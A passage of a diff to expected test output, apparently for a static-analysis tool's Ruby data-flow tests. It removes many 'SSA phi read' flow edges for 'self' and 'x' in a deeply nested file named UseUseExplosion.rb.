... > ... | UseUseExplosion.rb:20:328:20:339 | [true] ( ... ) | -| UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(self) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) | -| UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(x) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) | | UseUseExplosion.rb:20:341:20:3444 | then ... | UseUseExplosion.rb:20:325:20:3460 | if ... | -| UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) | UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) | UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:346:20:3444 | if ... | UseUseExplosion.rb:20:341:20:3444 | then ... | | UseUseExplosion.rb:20:350:20:354 | [post] self | UseUseExplosion.rb:20:371:20:375 | self | | UseUseExplosion.rb:20:350:20:354 | [post] self | UseUseExplosion.rb:20:3435:20:3440 | self | @@ -402,11 +337,7 @@ | UseUseExplosion.rb:20:350:20:354 | self | UseUseExplosion.rb:20:3435:20:3440 | self | | UseUseExplosion.rb:20:350:20:359 | ... > ... | UseUseExplosion.rb:20:349:20:360 | [false] ( ... ) | | UseUseExplosion.rb:20:350:20:359 | ... > ... | UseUseExplosion.rb:20:349:20:360 | [true] ( ... ) | -| UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(self) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) | -| UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(x) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) | | UseUseExplosion.rb:20:362:20:3428 | then ... | UseUseExplosion.rb:20:346:20:3444 | if ... | -| UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) | UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) | UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:367:20:3428 | if ... | UseUseExplosion.rb:20:362:20:3428 | then ... | | UseUseExplosion.rb:20:371:20:375 | [post] self | UseUseExplosion.rb:20:392:20:396 | self | | UseUseExplosion.rb:20:371:20:375 | [post] self | UseUseExplosion.rb:20:3419:20:3424 | self | @@ -414,11 +345,7 @@ | UseUseExplosion.rb:20:371:20:375 | self | UseUseExplosion.rb:20:3419:20:3424 | self | | UseUseExplosion.rb:20:371:20:380 | ... > ... | UseUseExplosion.rb:20:370:20:381 | [false] ( ... ) | | UseUseExplosion.rb:20:371:20:380 | ... > ... | UseUseExplosion.rb:20:370:20:381 | [true] ( ... ) | -| UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(self) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) | -| UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(x) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) | | UseUseExplosion.rb:20:383:20:3412 | then ... | UseUseExplosion.rb:20:367:20:3428 | if ... | -| UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) | UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) | UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:388:20:3412 | if ... | UseUseExplosion.rb:20:383:20:3412 | then ... | | UseUseExplosion.rb:20:392:20:396 | [post] self | UseUseExplosion.rb:20:413:20:417 | self | | UseUseExplosion.rb:20:392:20:396 | [post] self | UseUseExplosion.rb:20:3403:20:3408 | self | @@ -426,11 +353,7 @@ | UseUseExplosion.rb:20:392:20:396 | self | UseUseExplosion.rb:20:3403:20:3408 | self | | UseUseExplosion.rb:20:392:20:401 | ... > ... | UseUseExplosion.rb:20:391:20:402 | [false] ( ... ) | | UseUseExplosion.rb:20:392:20:401 | ... > ... | UseUseExplosion.rb:20:391:20:402 | [true] ( ... ) | -| UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(self) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) | -| UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(x) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) | | UseUseExplosion.rb:20:404:20:3396 | then ... | UseUseExplosion.rb:20:388:20:3412 | if ... | -| UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) | UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) | UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:409:20:3396 | if ... | UseUseExplosion.rb:20:404:20:3396 | then ... | | UseUseExplosion.rb:20:413:20:417 | [post] self | UseUseExplosion.rb:20:434:20:438 | self | | UseUseExplosion.rb:20:413:20:417 | [post] self | UseUseExplosion.rb:20:3387:20:3392 | self | @@ -438,11 +361,7 @@ | UseUseExplosion.rb:20:413:20:417 | self | UseUseExplosion.rb:20:3387:20:3392 | self | | UseUseExplosion.rb:20:413:20:422 | ... > ... | UseUseExplosion.rb:20:412:20:423 | [false] ( ... ) | | UseUseExplosion.rb:20:413:20:422 | ... > ... | UseUseExplosion.rb:20:412:20:423 | [true] ( ... ) | -| UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(self) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) | -| UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(x) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) | | UseUseExplosion.rb:20:425:20:3380 | then ... | UseUseExplosion.rb:20:409:20:3396 | if ... | -| UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) | UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) | UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:430:20:3380 | if ... | UseUseExplosion.rb:20:425:20:3380 | then ... | | UseUseExplosion.rb:20:434:20:438 | [post] self | UseUseExplosion.rb:20:455:20:459 | self | | UseUseExplosion.rb:20:434:20:438 | [post] self | UseUseExplosion.rb:20:3371:20:3376 | self | @@ -450,11 +369,7 @@ | UseUseExplosion.rb:20:434:20:438 | self | UseUseExplosion.rb:20:3371:20:3376 | self | | UseUseExplosion.rb:20:434:20:443 | ... > ... | UseUseExplosion.rb:20:433:20:444 | [false] ( ... ) | | UseUseExplosion.rb:20:434:20:443 | ... > ... | UseUseExplosion.rb:20:433:20:444 | [true] ( ... ) | -| UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(self) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) | -| UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(x) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) | | UseUseExplosion.rb:20:446:20:3364 | then ... | UseUseExplosion.rb:20:430:20:3380 | if ... | -| UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) | UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) | UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:451:20:3364 | if ... | UseUseExplosion.rb:20:446:20:3364 | then ... | | UseUseExplosion.rb:20:455:20:459 | [post] self | UseUseExplosion.rb:20:476:20:480 | self | | UseUseExplosion.rb:20:455:20:459 | [post] self | UseUseExplosion.rb:20:3355:20:3360 | self | @@ -462,11 +377,7 @@ | UseUseExplosion.rb:20:455:20:459 | self | UseUseExplosion.rb:20:3355:20:3360 | self | | UseUseExplosion.rb:20:455:20:464 | ... > ... | UseUseExplosion.rb:20:454:20:465 | [false] ( ... ) | | UseUseExplosion.rb:20:455:20:464 | ... > ... | UseUseExplosion.rb:20:454:20:465 | [true] ( ... ) | -| UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(self) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) | -| UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(x) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) | | UseUseExplosion.rb:20:467:20:3348 | then ... | UseUseExplosion.rb:20:451:20:3364 | if ... | -| UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) | UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) | UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:472:20:3348 | if ... | UseUseExplosion.rb:20:467:20:3348 | then ... | | UseUseExplosion.rb:20:476:20:480 | [post] self | UseUseExplosion.rb:20:497:20:501 | self | | UseUseExplosion.rb:20:476:20:480 | [post] self | UseUseExplosion.rb:20:3339:20:3344 | self | @@ -474,11 +385,7 @@ | UseUseExplosion.rb:20:476:20:480 | self | UseUseExplosion.rb:20:3339:20:3344 | self | | UseUseExplosion.rb:20:476:20:485 | ... > ... | UseUseExplosion.rb:20:475:20:486 | [false] ( ... ) | | UseUseExplosion.rb:20:476:20:485 | ... > ... | UseUseExplosion.rb:20:475:20:486 | [true] ( ... ) | -| UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(self) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) | -| UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(x) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) | | UseUseExplosion.rb:20:488:20:3332 | then ... | UseUseExplosion.rb:20:472:20:3348 | if ... | -| UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) | UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) | UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:493:20:3332 | if ... | UseUseExplosion.rb:20:488:20:3332 | then ... | | UseUseExplosion.rb:20:497:20:501 | [post] self | UseUseExplosion.rb:20:518:20:522 | self | | UseUseExplosion.rb:20:497:20:501 | [post] self | UseUseExplosion.rb:20:3323:20:3328 | self | @@ -486,11 +393,7 @@ | UseUseExplosion.rb:20:497:20:501 | self | UseUseExplosion.rb:20:3323:20:3328 | self | | UseUseExplosion.rb:20:497:20:506 | ... > ... | UseUseExplosion.rb:20:496:20:507 | [false] ( ... ) | | UseUseExplosion.rb:20:497:20:506 | ... > ... | UseUseExplosion.rb:20:496:20:507 | [true] ( ... ) | -| UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(self) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) | -| UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(x) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) | | UseUseExplosion.rb:20:509:20:3316 | then ... | UseUseExplosion.rb:20:493:20:3332 | if ... | -| UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) | UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) | UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:514:20:3316 | if ... | UseUseExplosion.rb:20:509:20:3316 | then ... | | UseUseExplosion.rb:20:518:20:522 | [post] self | UseUseExplosion.rb:20:539:20:543 | self | | UseUseExplosion.rb:20:518:20:522 | [post] self | UseUseExplosion.rb:20:3307:20:3312 | self | @@ -498,11 +401,7 @@ | UseUseExplosion.rb:20:518:20:522 | self | UseUseExplosion.rb:20:3307:20:3312 | self | | UseUseExplosion.rb:20:518:20:527 | ... > ... | UseUseExplosion.rb:20:517:20:528 | [false] ( ... ) | | UseUseExplosion.rb:20:518:20:527 | ... > ... | UseUseExplosion.rb:20:517:20:528 | [true] ( ... ) | -| UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(self) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) | -| UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(x) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) | | UseUseExplosion.rb:20:530:20:3300 | then ... | UseUseExplosion.rb:20:514:20:3316 | if ... | -| UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) | UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) | UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:535:20:3300 | if ... | UseUseExplosion.rb:20:530:20:3300 | then ... | | UseUseExplosion.rb:20:539:20:543 | [post] self | UseUseExplosion.rb:20:560:20:564 | self | | UseUseExplosion.rb:20:539:20:543 | [post] self | UseUseExplosion.rb:20:3291:20:3296 | self | @@ -510,11 +409,7 @@ | UseUseExplosion.rb:20:539:20:543 | self | UseUseExplosion.rb:20:3291:20:3296 | self | | UseUseExplosion.rb:20:539:20:548 | ... > ... | UseUseExplosion.rb:20:538:20:549 | [false] ( ... ) | | UseUseExplosion.rb:20:539:20:548 | ... > ... | UseUseExplosion.rb:20:538:20:549 | [true] ( ... ) | -| UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(self) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) | -| UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(x) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) | | UseUseExplosion.rb:20:551:20:3284 | then ... | UseUseExplosion.rb:20:535:20:3300 | if ... | -| UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) | UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) | UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:556:20:3284 | if ... | UseUseExplosion.rb:20:551:20:3284 | then ... | | UseUseExplosion.rb:20:560:20:564 | [post] self | UseUseExplosion.rb:20:581:20:585 | self | | UseUseExplosion.rb:20:560:20:564 | [post] self | UseUseExplosion.rb:20:3275:20:3280 | self | @@ -522,11 +417,7 @@ | UseUseExplosion.rb:20:560:20:564 | self | UseUseExplosion.rb:20:3275:20:3280 | self | | UseUseExplosion.rb:20:560:20:569 | ... > ... | UseUseExplosion.rb:20:559:20:570 | [false] ( ... ) | | UseUseExplosion.rb:20:560:20:569 | ... > ... | UseUseExplosion.rb:20:559:20:570 | [true] ( ... ) | -| UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(self) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) | -| UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(x) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) | | UseUseExplosion.rb:20:572:20:3268 | then ... | UseUseExplosion.rb:20:556:20:3284 | if ... | -| UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) | UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) | UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:577:20:3268 | if ... | UseUseExplosion.rb:20:572:20:3268 | then ... | | UseUseExplosion.rb:20:581:20:585 | [post] self | UseUseExplosion.rb:20:602:20:606 | self | | UseUseExplosion.rb:20:581:20:585 | [post] self | UseUseExplosion.rb:20:3259:20:3264 | self | @@ -534,11 +425,7 @@ | UseUseExplosion.rb:20:581:20:585 | self | UseUseExplosion.rb:20:3259:20:3264 | self | | UseUseExplosion.rb:20:581:20:590 | ... > ... | UseUseExplosion.rb:20:580:20:591 | [false] ( ... ) | | UseUseExplosion.rb:20:581:20:590 | ... > ... | UseUseExplosion.rb:20:580:20:591 | [true] ( ... ) | -| UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(self) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) | -| UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(x) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) | | UseUseExplosion.rb:20:593:20:3252 | then ... | UseUseExplosion.rb:20:577:20:3268 | if ... | -| UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) | UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) | UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:598:20:3252 | if ... | UseUseExplosion.rb:20:593:20:3252 | then ... | | UseUseExplosion.rb:20:602:20:606 | [post] self | UseUseExplosion.rb:20:623:20:627 | self | | UseUseExplosion.rb:20:602:20:606 | [post] self | UseUseExplosion.rb:20:3243:20:3248 | self | @@ -546,11 +433,7 @@ | UseUseExplosion.rb:20:602:20:606 | self | UseUseExplosion.rb:20:3243:20:3248 | self | | UseUseExplosion.rb:20:602:20:611 | ... > ... | UseUseExplosion.rb:20:601:20:612 | [false] ( ... ) | | UseUseExplosion.rb:20:602:20:611 | ... > ... | UseUseExplosion.rb:20:601:20:612 | [true] ( ... ) | -| UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(self) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) | -| UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(x) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) | | UseUseExplosion.rb:20:614:20:3236 | then ... | UseUseExplosion.rb:20:598:20:3252 | if ... | -| UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) | UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) | UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:619:20:3236 | if ... | UseUseExplosion.rb:20:614:20:3236 | then ... | | UseUseExplosion.rb:20:623:20:627 | [post] self | UseUseExplosion.rb:20:644:20:648 | self | | UseUseExplosion.rb:20:623:20:627 | [post] self | UseUseExplosion.rb:20:3227:20:3232 | self | @@ -558,11 +441,7 @@ | UseUseExplosion.rb:20:623:20:627 | self | UseUseExplosion.rb:20:3227:20:3232 | self | | UseUseExplosion.rb:20:623:20:632 | ... > ... | UseUseExplosion.rb:20:622:20:633 | [false] ( ... ) | | UseUseExplosion.rb:20:623:20:632 | ... > ... | UseUseExplosion.rb:20:622:20:633 | [true] ( ... ) | -| UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(self) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) | -| UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(x) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) | | UseUseExplosion.rb:20:635:20:3220 | then ... | UseUseExplosion.rb:20:619:20:3236 | if ... | -| UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) | UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) | UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:640:20:3220 | if ... | UseUseExplosion.rb:20:635:20:3220 | then ... | | UseUseExplosion.rb:20:644:20:648 | [post] self | UseUseExplosion.rb:20:665:20:669 | self | | UseUseExplosion.rb:20:644:20:648 | [post] self | UseUseExplosion.rb:20:3211:20:3216 | self | @@ -570,11 +449,7 @@ | UseUseExplosion.rb:20:644:20:648 | self | UseUseExplosion.rb:20:3211:20:3216 | self | | UseUseExplosion.rb:20:644:20:653 | ... > ... | UseUseExplosion.rb:20:643:20:654 | [false] ( ... ) | | UseUseExplosion.rb:20:644:20:653 | ... > ... | UseUseExplosion.rb:20:643:20:654 | [true] ( ... ) | -| UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(self) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) | -| UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(x) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) | | UseUseExplosion.rb:20:656:20:3204 | then ... | UseUseExplosion.rb:20:640:20:3220 | if ... | -| UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) | UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) | UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:661:20:3204 | if ... | UseUseExplosion.rb:20:656:20:3204 | then ... | | UseUseExplosion.rb:20:665:20:669 | [post] self | UseUseExplosion.rb:20:686:20:690 | self | | UseUseExplosion.rb:20:665:20:669 | [post] self | UseUseExplosion.rb:20:3195:20:3200 | self | @@ -582,11 +457,7 @@ | UseUseExplosion.rb:20:665:20:669 | self | UseUseExplosion.rb:20:3195:20:3200 | self | | UseUseExplosion.rb:20:665:20:674 | ... > ... | UseUseExplosion.rb:20:664:20:675 | [false] ( ... ) | | UseUseExplosion.rb:20:665:20:674 | ... > ... | UseUseExplosion.rb:20:664:20:675 | [true] ( ... ) | -| UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(self) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) | -| UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(x) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) | | UseUseExplosion.rb:20:677:20:3188 | then ... | UseUseExplosion.rb:20:661:20:3204 | if ... | -| UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) | UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) | UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:682:20:3188 | if ... | UseUseExplosion.rb:20:677:20:3188 | then ... | | UseUseExplosion.rb:20:686:20:690 | [post] self | UseUseExplosion.rb:20:707:20:711 | self | | UseUseExplosion.rb:20:686:20:690 | [post] self | UseUseExplosion.rb:20:3179:20:3184 | self | @@ -594,11 +465,7 @@ | UseUseExplosion.rb:20:686:20:690 | self | UseUseExplosion.rb:20:3179:20:3184 | self | | UseUseExplosion.rb:20:686:20:695 | ... > ... | UseUseExplosion.rb:20:685:20:696 | [false] ( ... ) | | UseUseExplosion.rb:20:686:20:695 | ... > ... | UseUseExplosion.rb:20:685:20:696 | [true] ( ... ) | -| UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(self) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) | -| UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(x) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) | | UseUseExplosion.rb:20:698:20:3172 | then ... | UseUseExplosion.rb:20:682:20:3188 | if ... | -| UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) | UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) | UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:703:20:3172 | if ... | UseUseExplosion.rb:20:698:20:3172 | then ... | | UseUseExplosion.rb:20:707:20:711 | [post] self | UseUseExplosion.rb:20:728:20:732 | self | | UseUseExplosion.rb:20:707:20:711 | [post] self | UseUseExplosion.rb:20:3163:20:3168 | self | @@ -606,11 +473,7 @@ | UseUseExplosion.rb:20:707:20:711 | self | UseUseExplosion.rb:20:3163:20:3168 | self | | UseUseExplosion.rb:20:707:20:716 | ... > ... | UseUseExplosion.rb:20:706:20:717 | [false] ( ... ) | | UseUseExplosion.rb:20:707:20:716 | ... > ... | UseUseExplosion.rb:20:706:20:717 | [true] ( ... ) | -| UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(self) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) | -| UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(x) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) | | UseUseExplosion.rb:20:719:20:3156 | then ... | UseUseExplosion.rb:20:703:20:3172 | if ... | -| UseUseExplosion.rb:20:724:20:3156 | SSA phi read(self) | UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:724:20:3156 | SSA phi read(x) | UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:724:20:3156 | if ... | UseUseExplosion.rb:20:719:20:3156 | then ... | | UseUseExplosion.rb:20:728:20:732 | [post] self | UseUseExplosion.rb:20:749:20:753 | self | | UseUseExplosion.rb:20:728:20:732 | [post] self | UseUseExplosion.rb:20:3147:20:3152 | self | @@ -618,11 +481,7 @@ | UseUseExplosion.rb:20:728:20:732 | self | UseUseExplosion.rb:20:3147:20:3152 | self | | UseUseExplosion.rb:20:728:20:737 | ... > ... | UseUseExplosion.rb:20:727:20:738 | [false] ( ... ) | | UseUseExplosion.rb:20:728:20:737 | ... > ... | UseUseExplosion.rb:20:727:20:738 | [true] ( ... ) | -| UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(self) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(self) | -| UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(x) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(x) | | UseUseExplosion.rb:20:740:20:3140 | then ... | UseUseExplosion.rb:20:724:20:3156 | if ... | -| UseUseExplosion.rb:20:745:20:3140 | SSA phi read(self) | UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:745:20:3140 | SSA phi read(x) | UseUseExplosion.rb:20:740:20:3140 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:745:20:3140 | if ... | UseUseExplosion.rb:20:740:20:3140 | then ... | | UseUseExplosion.rb:20:749:20:753 | [post] self | UseUseExplosion.rb:20:770:20:774 | self | | UseUseExplosion.rb:20:749:20:753 | [post] self | UseUseExplosion.rb:20:3131:20:3136 | self | @@ -630,11 +489,7 @@ | UseUseExplosion.rb:20:749:20:753 | self | UseUseExplosion.rb:20:3131:20:3136 | self | | UseUseExplosion.rb:20:749:20:758 | ... > ... | UseUseExplosion.rb:20:748:20:759 | [false] ( ... ) | | UseUseExplosion.rb:20:749:20:758 | ... > ... | UseUseExplosion.rb:20:748:20:759 | [true] ( ... ) | -| UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(self) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(self) | -| UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(x) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(x) | | UseUseExplosion.rb:20:761:20:3124 | then ... | UseUseExplosion.rb:20:745:20:3140 | if ... | -| UseUseExplosion.rb:20:766:20:3124 | SSA phi read(self) | UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:766:20:3124 | SSA phi read(x) | UseUseExplosion.rb:20:761:20:3124 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:766:20:3124 | if ... | UseUseExplosion.rb:20:761:20:3124 | then ... | | UseUseExplosion.rb:20:770:20:774 | [post] self | UseUseExplosion.rb:20:791:20:795 | self | | UseUseExplosion.rb:20:770:20:774 | [post] self | UseUseExplosion.rb:20:3115:20:3120 | self | @@ -642,11 +497,7 @@ | UseUseExplosion.rb:20:770:20:774 | self | UseUseExplosion.rb:20:3115:20:3120 | self | | UseUseExplosion.rb:20:770:20:779 | ... > ... | UseUseExplosion.rb:20:769:20:780 | [false] ( ... ) | | UseUseExplosion.rb:20:770:20:779 | ... > ... | UseUseExplosion.rb:20:769:20:780 | [true] ( ... ) | -| UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(self) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(self) | -| UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(x) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(x) | | UseUseExplosion.rb:20:782:20:3108 | then ... | UseUseExplosion.rb:20:766:20:3124 | if ... | -| UseUseExplosion.rb:20:787:20:3108 | SSA phi read(self) | UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:787:20:3108 | SSA phi read(x) | UseUseExplosion.rb:20:782:20:3108 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:787:20:3108 | if ... | UseUseExplosion.rb:20:782:20:3108 | then ... | | UseUseExplosion.rb:20:791:20:795 | [post] self | UseUseExplosion.rb:20:812:20:816 | self | | UseUseExplosion.rb:20:791:20:795 | [post] self | UseUseExplosion.rb:20:3099:20:3104 | self | @@ -654,11 +505,7 @@ | UseUseExplosion.rb:20:791:20:795 | self | UseUseExplosion.rb:20:3099:20:3104 | self | | UseUseExplosion.rb:20:791:20:800 | ... > ... | UseUseExplosion.rb:20:790:20:801 | [false] ( ... ) | | UseUseExplosion.rb:20:791:20:800 | ... > ... | UseUseExplosion.rb:20:790:20:801 | [true] ( ... ) | -| UseUseExplosion.rb:20:803:20:3092 | [input] SSA phi read(self) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(self) | -| UseUseExplosion.rb:20:803:20:3092 | [input] SSA phi read(x) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(x) | | UseUseExplosion.rb:20:803:20:3092 | then ... | UseUseExplosion.rb:20:787:20:3108 | if ... | -| UseUseExplosion.rb:20:808:20:3092 | SSA phi read(self) | UseUseExplosion.rb:20:803:20:3092 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:808:20:3092 | SSA phi 